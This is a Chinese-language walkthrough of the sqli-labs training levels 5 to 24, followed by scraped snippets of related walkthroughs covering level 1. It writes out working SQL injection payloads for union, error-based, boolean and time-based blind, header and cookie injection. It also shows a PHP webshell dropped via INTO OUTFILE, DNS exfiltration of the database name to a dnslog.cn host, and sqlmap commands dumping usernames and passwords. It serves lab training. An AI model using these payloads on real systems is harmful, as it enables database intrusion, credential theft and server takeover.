    http://localhost/sqli-labs-master/Less-5/?id=1' and if(length(database())=8,sleep(5),sleep(1))--+
    

    在这里插入图片描述

    less 6—双注入双引号字符型注入

    在这里插入图片描述
    看名字也和第五关差不多,将第五关的单引号替换为双引号即可。

    http://127.0.0.1/sqli-labs-master/Less-5/?id=1" and 1=1--+
    

    less 7—导出文件字符型注入

    在这里插入图片描述

    判断注入点

    http://localhost/sqli-labs-master/Less-7/?id=1'))--+
    

    判断列数

    url后当order by 后的数字等于4时开始报错,所以列数为3

    ?id=1')) order by 4--+
    

    在这里插入图片描述
    然后我们还可以通过文件的读写来上传shell

    http://localhost/sqli-labs-master/Less-7/?id=1')) union select 1,'<?php eval($_REQUEST[a]); ?>',3 into outfile 'D://1.php'--+
    

    在这里插入图片描述
    用蚁剑或者菜刀连接均可

    less 8—布尔型单引号盲注

    在这里插入图片描述

    判断注入点

    http://localhost/sqli-labs-master/Less-8/?id=1' and 1=1--+
    

    在判断列数的时候,输入4,错误无回显

    http://localhost/sqli-labs-master/Less-8/?id=1' order by 4--+
    

    在这里插入图片描述
    所以报错注入就不适用,可以使用布尔注入和时间注入。具体可看less5
    同时,该题也可用dns回显注入(当目标无显示位也无错误回显时便可使用此方法)

    dns回显注入

    我们用这个网址

    http://www.dnslog.cn/
    

    在这里插入图片描述
    点击get。。之后产生的网址

    1mdsdg.dnslog.cn
    

    于是我们可以构造payload

    http://localhost/sqli-labs-master/Less-8/?id=1' and load_file(concat("\\\\",(database()),".2asf57f.dnslog.cn\\1.txt")) --+
    

    在这里插入图片描述

    less 9—基于时间的单引号盲注

    在这里插入图片描述

    判断注入点

    http://localhost/sqli-labs-master/Less-9/?id=1' and 1=1 --+
    

    测试后发现,错误语句页面也不变。则可以使用时间盲注,当然同样可以使用DNS回显
    在这里插入图片描述

    less 10—基于时间的双引号盲注

    在这里插入图片描述
    将单引号换成双引号就可
    可使用时间盲注和DNS回显

    less 11—POST型单引号字符型注入

    在这里插入图片描述

    判断注入点

    我们首先尝试Username 为admin'#,密码随便输入,成功进入
    在这里插入图片描述
    然后还可以在Usename处

    判断列数

    admin' order by 3 #
    

    在这里插入图片描述

    判断数据显示的位置

    我们在Usename里输入

    as' union select 1,2#
    

    发现选择3时会报错,所以数据的显示就是第一列和第二列

    插入SQL查询语句

    同less1类似,插入在Usename中

    当然,此时也可以使用报错注入

    Usename中输入,password随便填写

    sa' and updatexml(1,concat(0x5e,(select group_concat(username,0x7e,password) from users),0x5e),1)#
    

    less 12—双引号POST型字符型变形的注入

    在这里插入图片描述
    同less11类似,不同的是闭合的符号有些不一样
    Usename中变为此形式即可

    a")
    

    less 13—POST单引号变形双注入

    在这里插入图片描述
    测试以后的界面

    在这里插入图片描述
    无回显。我们可以尝试使用报错注入

    admin') and extractvalue(1,concat(0x7e,(select database()))) #
    

    然后还可以使用时间盲注

    less 14—POST单引号变形双注入

    在这里插入图片描述
    界面和上一关相同,我们尝试使用报错注入

    admin" and extractvalue(1,concat(0x7e,(select database())))#
    

    在这里插入图片描述

    less 15—基于bool型/时间延迟单引号POST型盲注

    在这里插入图片描述
    单引号直接闭合

    ads' or 1=1#
    

    在Usename中插入时间盲注语句,简单判断一下数据库的长度

    ads' and if(length(database())=8,sleep(5),sleep(1))#
    

    在这里插入图片描述
    可以看到时间大于5秒,时间盲注可行

    less 16—基于bool型/时间延迟的双引号POST型盲注

    在这里插入图片描述
    和上一关类似,仅仅需要将单引号改成双引号。

    ads" or 1=1#
    

    less 17—基于错误的更新查询POST注入

    在这里插入图片描述

    我们再查看一下源代码

    在这里插入图片描述
    可以知道uname参数会被一个函数check_input()包裹
    我们尝试寻找函数具体语句

    在这里插入图片描述
    可以看到使用了get_magic_quotes_gpc()进行过滤。
    但是这都是针对Usename的,password没有任何限制。那么我们可以在password进行报错注入

    我们在Usename中输入admin

    password中输入:

    admin' and updatexml(1,concat(0x7e,version(),0x7e),1) --+
    

    less 18—基于错误的用户代理,头部POST注入

    在这里插入图片描述
    我们直接输入正确的账号和密码试试
    在这里插入图片描述
    可以看到出现有User Agent回显,所以我们可以抓包,然后再修改User Agent,在其插入SQL语句

    'and updatexml(1,concat(0x7e, database(),0x7e),1) and '1'='1
    

    在这里插入图片描述

    less 19—Referer POST报错注入

    在这里插入图片描述
    老规矩,我们用正确的账户测试一下回显的位置
    在这里插入图片描述
    发现出现了Referer,我们尝试抓包,再修改Referer,语句和上一关一样,只是修改的位置不同。

    'and updatexml(1,concat(0x7e, database(),0x7e),1) and '1'='1
    

    在这里插入图片描述

    less 20—cookie头部POST注入

    在这里插入图片描述
    我们输入了正确的账户之后,出现了很多回显。我们再抓登陆的包看一下
    在这里插入图片描述

    那我们尝试将最后一行行删除,然后修添加cookie

    ' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1
    

    在这里插入图片描述
    成功出现报错回显

    less 21—复杂的字符型Cookie注入

    同样,我们首先输入正确的账户信息登陆来查看回显
    在这里插入图片描述
    发现uname的值变成了大小写英文加数字的组合,显然是进行了编码
    这里是base64编码

    我们抓包试试,然后重复上一关的操作来添加cookie

    ' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1
    

    我们将这条语句用base64编码,然后再点击Go
    在这里插入图片描述

    less 22—双引号字符型Cookie注入

    在这里插入图片描述
    这一关和前两关类似,注入时只要将单引号换成双引号即可

    " and updatexml(1,concat(0x7e,database(),0x7e),1) and "1"="1
    

    less 23—基于错误的,过滤注释的GET型

    在这里插入图片描述
    我们查看一下源代码
    在这里插入图片描述
    发现本关中将注释符给替换了。SQL语句中我们可以看出这里是单引号字符型注入。
    我们构造SQL语句

    ?id=1'union select 1,2,3 and '1'='1
    

    在这里插入图片描述
    然后我们尝试爆库

    ?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata where 1 and '1'='1
    

    在这里插入图片描述

    less 24—二次注入

    展开全文
  • sqli-labs通关wp

    千次阅读 2019-04-11 21:32:08
    第一关: 方法一:在id=1后面加一个单引号后发现报错 ...http://127.0.0.1/sqli-labs/Less-1/?id=1%27%20order%20by%203--+ 使用单引号闭合掉一个单引号,在用--+或#或%27注释掉一个,便可以使中间的order...

    第一关:

    方法一:
    在id=1后面加一个单引号后发现报错

    然后把这个单引号注释掉试一下

    使用'or 1=1--+

    order by 查列数
    页面显示正常了。存在注入,先查一下列数
    http://127.0.0.1/sqli-labs/Less-1/?id=1%27%20order%20by%203--+
    使用单引号闭合掉一个单引号,在用--+或#或%27注释掉一个,便可以使中间的order by 进行排序,语句如上,当使用order by 3的时候正常,使用order by 4的时候报错,就说明这里有三列数据

    查完列数后,注意后面 id=非正确值

    union select看返回值
    构造payload:
    http://127.0.0.1/sqli-labs/Less-1/?id=-1%27union%20select%201,2,3--+
    发现2,3存在回显

    暴库payload:
    http://127.0.0.1/sqli-labs/Less-1/?id=-1%27union%20select%201,2,database()--+

    数据库名字:security

    爆表payload:
    http://127.0.0.1/sqli-labs/Less-1/?id=-1%27union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()--+

    爆出的表名,其中users最可疑

    爆字段payload:
    http://127.0.0.1/sqli-labs/Less-1/?id=-1%27union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27%20--+


    user_id,first_name,last_name,user,password,avatar,last_login,failed_login,id,username,password 这些都是users表中的字段名

    爆值payload:
    http://127.0.0.1/sqli-labs/Less-1/?id=-1%27union%20select%201,2,group_concat(username,0x3a,password)%20from%20users--+
    payload
    解释:
    0x3a:0x是十六进制的标志,3a是十进制的58,是ascii中的':',用以分割password和username

    方法二:
    手工报错型注入

    检测报错型payload:

    1

    ?id=1' 1=1--+ 正常
    ?id=1' 1=2--+ 报错
    证明确实存在手工报错型注入

    注意:id=正确值

    报错注入:

    当前表:

    ?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+

    字段:

    ?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+
    
    ?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in ('user_id','first_name','last_name','user','avatar','last_login','failed_login')))) --+

    值:

    ?id=1' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)))--+

    同样使用not in显示其他值

    ?id=1' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','I-kill-you'))))--+

    使用sqlmap:

    爆表: 

    sqlmap -u 10.101.143.198/sqli-labs/Less-1/?id=1 --technique UE --dbms mysql -D security --tables --batch -v 0

    爆字段:

    sqlmap -u 10.101.143.198/sqli-labs/Less-1/?id=1 --technique UE --dbms mysql -D security -T users --columns --batch -v 0

    值:

    sqlmap -u 10.101.143.198/sqli-labs/Less-1/?id=1 --technique UE --dbms mysql -D security -T users -C username,password --dump --batch -v 0

     

     

    展开全文
  • Sqli-labs通关总结

    千次阅读 2020-06-27 15:19:26
    历经两个多月,总于通关了,后面还有10关由于原作者并没有没有更新,我们也就无从下手,不过从这65关中我们足以对SQL注入有了一个清晰的了解了,也就勉强达到SQL注入入门的水平,接下来就是去各大平台去找SQL类型的...
  • 一到四关主要是参数被包装的问题。一般用于尝试的语句 Ps:--+可以用#替换,url 提交过程中 Url 编码后的#为%23 and1=2--+ 'and1=2--+ "and1=2--+ ...图中显示的sql语句是我为了方便理解,修改了源代码显示出的 ...
  • SQLi-Labs通关攻略

    千次阅读 2019-10-30 10:20:13
    文章目录1、准备工作2、通关关卡 1、准备工作 SQLi-Labs靶场的准备 2、通关关卡
  • http://127.0.0.1/sqlilabs/Less-2/?id=1 and 1=1 http://127.0.0.1/sqlilabs/Less-2/?id=1 and 1=2 查找回显点 使用二分法,确定回显点,首先试6,没反应,试3,有反应;试5,无反应,试4,无反应。可以...
  • sqli创建数据库连接发现连接不了,这种原因是现在大部分人用的php7,原版的sqli只支持php5.
  • sqli-labs通关攻略教程一(less 01~less 02) less 03 与第一关相同的步骤。首先在phpstudy中打开网站根目录,在第一关的index.php的文件中加入两行代码echo $sql; echo "<br>";第一句意思是将我们构造的sql...
  • 这10关都是GET型的,包括了union注入、报错注入、布尔盲注和时间盲注,虽然包含了几种闭合方式,但是没有涉及到过滤和绕过,是最基础的关卡。
  • sqli-labs 通关教程 Less 9 (时间盲注)

    千次阅读 2021-12-08 14:32:18
    利用正常的语句测试没有任何效果 ...http://127.0.0.1/sqlilabs/Less-9/?id=1 http://127.0.0.1/sqlilabs/Less-9/?id=1'-- - 数据完成交互后目标网站没有任何的页面回显,这个时候可以使用时间盲注。 ...
  • sqli-labs通关攻略54-65[Challenges]

    千次阅读 2020-09-02 23:12:40
    Advanced Injections 文章目录Advanced Injectionsless-54less-55less-56less-60less-62less-63less-64less-65 最后一篇补上。...http://127.0.0.1/sql-labs/less-54/index.php?id=-1' union select 1,version
  • sqli-labs通关Less 1-4

    2020-10-12 10:29:09
    sqli-labs通关Less 1-4 实验工具:phpstudy pro, Firefox MySQL 5.7.26 Nginx 1.15.11 PHP 5.4.45 注意:sqli-labs-master配置正确的情况下,创建实验数据库出错,可能是由于php版本造成,可试着更改其版本。 一. ...
  • sqli-labs (1) sqli-labs实验前: 本人因在sqli-labs搭建过程中遇到大量问题,百度后依旧无果,所以现决定在在线sqli-labs平台进行试验。 sqli-labs在线平台: http://43.247.91.228:84/ 在线平台sqli-labs Page-1...
  • sqli-labs通关攻略教程二(less 1~less-17) less 18 与第一关相同的步骤。首先在phpstudy中打开网站根目录,在第一关的index.php的文件中加入两行代码echo $sql; echo "<br>";第一句意思是将我们构造的sql...
  • sqli-labs通关攻略38-53[Stacked Injections]

    千次阅读 2020-08-10 17:58:18
    如果达到一定条件还可以联合注入 报错注入很简单: http://127.0.0.1/sql-labs/Less-46/?sort=1 and updatexml(1,concat(0x7e,(select database())),1) 盲注: http://127.0.0.1/sql-labs/Less-46/?sort=rand(ascii...
  • sqli-labs (2) 励志语录 学习知识要善于思考,思考,再思考。——爱因斯坦 1.知识点 (1)字符型:’) (2)sqlmap使用 2.题解 注:因题目简单所以下解题步骤大多以图片显示不再做过多解释 方法一:手工注入 图一...
  • less 26 方法1 由题目可知,本题绕过了空格和注释,注释符用|| '1'='1或者;%00绕过。 空白符绕过 (1)mysql空白符:%09、%0A、%0B、%0D、%20、%0C、%A0、/*xxx*/ (2)正则空白符:%09、%0A、%0B、%0D、%20 ...
  • 从29关开始使用docker搭建的sqli-labs靶场 KALI搭建Docker+Vulhub和sqli-labs靶场 补充知识-服务器的两层架构 mysql之注入天书服务器 服务器两层架构即不同的id值有不同的服务器来解读。 http参数污染:jsp/tomcat...
  • sqli-labs 通关记录 01

    2021-08-15 11:59:58
    如图,我们先使用单引号注入进行测试, 结果显示,有报错,接下来用 and 1=1和and 1=2分别测试 ,结果显示,它能执行我们的两条注入语句,1=1不...http://192.168.18.136/sqli-labs-master/Less-1/?id=-1' union...
  • 文章目录less 38方法1——报错注入联合注入堆叠注入less 39less 40联合注入堆叠注入less 41less 42报错注入堆叠注入less 43less 44less 45less 46报错注入时间盲注less 47less 48less 49less 50堆叠注入报错注入less...
  • sqli-labs-master通关手册

    千次阅读 2020-04-19 13:48:39
    输入:[http://127.0.0.1/New/sqli-labs-master/Less-1/?id=1](http://127.0.0.1/New/sqli-labs-master/Less-1/?id=1) 后面加一个'并将后面注释掉试试效果: 构造?id=1' --+(这里#被注释了) 然后判断字段数 ?id=...
  • 文章目录Less-23Less-24Less-25Less-25aLess-26Less-26aLess-27...前言:本节开始对advanced injections关卡进行通关记录,23-38关 在这里补充一下信息收集的命令: @@version 数据库版本 @@datadir 数据库数据路径 @
  • 通过构造union select 1,2语句,发现页面不报错,判断页面有两个字段,当我们使用order,一直到order by 13都没出结果,可能这关不允许用order by. 这一关,我们用到的是盲注或者报错注入 ...
  • 在这一关卡我学到了1....报错信息如下所示:据此报错,我们大概的可以猜测其网站的正常是SQL语句如下:$sql="select username,password from 表明 where username='$username' and password='$password...
  • SQLi-Labs是一个专业的SQL注入练习平台,该平台包含了以下在测试场景中常见的注入类型;环境共有65个SQL注入漏洞。其中9个环境,可通过本教程,按步骤实验,复现学习该sql注入漏洞; 本攻防实验地址 ...
  • Less21 这关刚开始还是和Less20一样,进去是个登录的页面 ... ...仔细看这关的GET报文,就和上一关不一样了,Cookie中uname参数的值是base64编码的。...把uname的值粘贴到burpsuite的decoder模块,先decod.
  • SQL注入之sqli-labs详细通关教程 首先需要准备好火狐浏览器(方便下载hackbar这个插件)还有phpstudy搭建,以及sqli-labs搭建。其次,我们需要有一定的数据库基本语句基础,通关时有必要的语句我会解释,也希望大家...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 899
精华内容 359
关键字:

sqli-labs通关